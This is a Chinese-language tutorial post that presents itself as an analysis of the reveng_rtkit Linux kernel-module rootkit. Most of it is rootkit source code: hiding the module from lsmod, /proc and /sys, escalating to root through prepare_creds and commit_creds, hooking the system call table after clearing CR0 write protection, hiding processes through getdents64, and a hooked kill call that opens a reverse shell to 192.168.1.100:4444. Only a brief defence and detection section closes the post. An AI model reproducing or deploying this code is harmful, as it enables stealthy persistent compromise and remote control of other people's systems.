【原创投稿】Linux rootkit之reveng_rtkit分析
字数 1198 2025-08-06 12:20:41
Linux Rootkit开发教程:reveng_rtkit分析与实现
1. 概述
本教程将详细分析reveng_rtkit这个基于Linux可加载内核模块(LKM)的rootkit实现。该rootkit针对Linux Kernel 5.11.0-49-generic设计,包含内核模块和用户模块两部分,实现了模块隐藏、进程隐藏、权限提升和反弹shell等功能。
2. 内核模块架构
reveng_rtkit的内核模块由三个主要文件组成:
reveng_rtkit.c:主逻辑文件,包含模块移除功能hide_show_helper:模块隐藏和显示功能hook_syscall_helper:进程隐藏和反弹shell功能
3. 模块隐藏技术
3.1 隐藏原理
模块隐藏从四个方面实现:
lsmod命令/proc/kallsyms/proc/modules/sys/module/
3.2 实现方法
3.2.1 从模块链表中删除
list_del(&THIS_MODULE->list);
3.2.2 处理/sys/module/目录
/sys/module/目录具有映射能力,采用kobject结构:
kobject_del(&THIS_MODULE->mkobj.kobj);
路径参考:
linux-5.15.98/lib/kobject.clinux-5.15.98/include/linux/module.h
3.3 模块显示恢复
list_add(&THIS_MODULE->list, prev_module_in_proc_modules_lsmod);
kobject_add(&THIS_MODULE->mkobj.kobj);
kobject_put(&THIS_MODULE->mkobj.kobj); // 释放不用的对象,防止rmmod崩溃
3.4 资源清理
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
4. 权限提升技术
4.1 使用prepare_creds函数
struct cred *root = prepare_creds();
if (root == NULL) {
return;
}
// 更新ID为0(root)
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
// 应用更新后的cred结构
commit_creds(root);
5. 用户与内核交互
5.1 IOCTL方法
5.1.1 设备驱动端实现
定义操作命令处理函数:
static int etx_open(struct inode *inode, struct file *file) {
pr_info("[+] Device File Opened...!!!\n");
return 0;
}
static long etx_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
if (copy_from_user(value, (int32_t*) arg, MAX_LIMIT)) {
pr_err("Data Write : Err!\n");
}
if (strncmp(ROOTKIT_HIDE, value, strlen(ROOTKIT_HIDE)) == 0) {
hide_rootkit();
return 0;
}
// 其他命令处理...
}
static ssize_t etx_read(struct file *filp, char __user *buf, size_t len, loff_t *off) {
pr_info(" [+] Read Function\n");
return 0;
}
static ssize_t etx_write(struct file *filp, const char __user *buf, size_t len, loff_t *off) {
pr_info(" [+] Write function\n");
return len;
}
关联文件操作:
static struct file_operations fops = {
.owner = THIS_MODULE,
.read = etx_read,
.write = etx_write,
.open = etx_open,
.unlocked_ioctl = etx_ioctl,
.release = etx_release,
};
5.1.2 设备注册
static dev_t dev;
if ((ret = alloc_chrdev_region(&dev, 0, 1, "mydev")) < 0) {
printk(KERN_ERR "Failed to allocate device number\n");
return ret;
}
if ((dev_class = class_create(THIS_MODULE, "etx_class")) == NULL) {
pr_err("Cannot create the struct class\n");
goto r_class;
}
if ((device_create(dev_class, NULL, dev, NULL, "etx_device")) == NULL) {
pr_err("Cannot create the Device 1\n");
goto r_device;
}
cdev_init(&etx_cdev, &fops);
if ((cdev_add(&etx_cdev, dev, 1)) < 0) {
pr_err("Cannot add the device to the system\n");
goto r_class;
}
5.2 系统调用劫持方法
5.2.1 获取系统调用表地址
由于Linux内核5.7.0之后不再导出kallsyms_lookup_name函数,使用kprobe获取:
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
5.2.2 关键系统调用
-
getdents64- 读取目录中的文件信息int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); -
kill- 向指定进程发送信号int kill(pid_t pid, int sig); -
pt_regs- 存储进程或中断的寄存器状态
5.2.3 修改内核写保护
write_cr0_forced(cr0 & ~0x00010000);
5.2.4 系统调用劫持实现
保存原始系统调用:
orig_getdents64 = (tt_syscall)__sys_call_table[__NR_getdents64];
orig_kill = (tt_syscall)__sys_call_table[__NR_kill];
替换为自定义函数:
__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
5.2.5 自定义getdents64实现
struct linux_dirent *dirent = (struct linux_dirent *) pt_regs->si;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
kdirent = kzalloc(ret, GFP_KERNEL);
err = copy_from_user(kdirent, dirent, ret);
int ret = orig_getdents64(pt_regs), err;
struct inode *d_inode;
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)) {
// 处理进程隐藏逻辑
while (offset < ret) {
dir = (void *)kdirent + offset;
if ((proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else {
prev = dir;
}
offset += dir->d_reclen;
}
}
copy_to_user(dirent, kdirent, ret);
6. 反弹Shell实现
通过劫持kill系统调用实现反弹shell:
static asmlinkage long hacked_kill(const struct pt_regs *pt_regs) {
pid_t pid = pt_regs->di;
int sig = pt_regs->si;
if (sig == SIGRTMIN + 42) { // 自定义信号
// 反弹shell逻辑
struct socket *sock;
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr.s_addr = in_aton("192.168.1.100")
};
sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
sock->ops->connect(sock, (struct sockaddr *)&addr, sizeof(addr), 0);
// 重定向标准输入输出
struct file *file;
file = sock->file;
fd_install(0, file);
fd_install(1, file);
fd_install(2, file);
// 执行shell
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
return 0;
}
// 正常kill处理
return orig_kill(pt_regs);
}
7. 防御与检测
7.1 防御措施
-
禁用不必要的内核模块加载:
echo 1 > /proc/sys/kernel/modules_disabled -
启用内核模块签名验证:
echo 1 > /proc/sys/kernel/module_sig_enforce -
使用SELinux或AppArmor限制内核访问
7.2 检测方法
-
检查可疑的内核模块:
lsmod | grep -v -E "Module|Size|Used by" -
验证系统调用表完整性:
grep sys_call_table /proc/kallsyms -
使用完整性检查工具:
apt install tripwire tripwire --check -
监控/proc/kallsyms变化
8. 总结
reveng_rtkit展示了Linux rootkit的几种关键技术:
- 内核模块隐藏技术
- 系统调用劫持
- 进程隐藏
- 权限提升
- 用户-内核通信机制
理解这些技术不仅有助于开发安全工具,也能帮助系统管理员更好地防御此类攻击。